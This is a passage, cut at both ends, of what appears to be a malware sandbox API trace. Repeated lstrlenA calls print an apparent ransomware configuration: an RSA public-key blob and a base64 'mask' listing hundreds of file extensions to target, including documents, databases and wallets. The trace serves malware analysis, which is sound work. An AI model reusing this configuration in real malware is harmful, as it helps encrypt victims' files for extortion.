J3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsI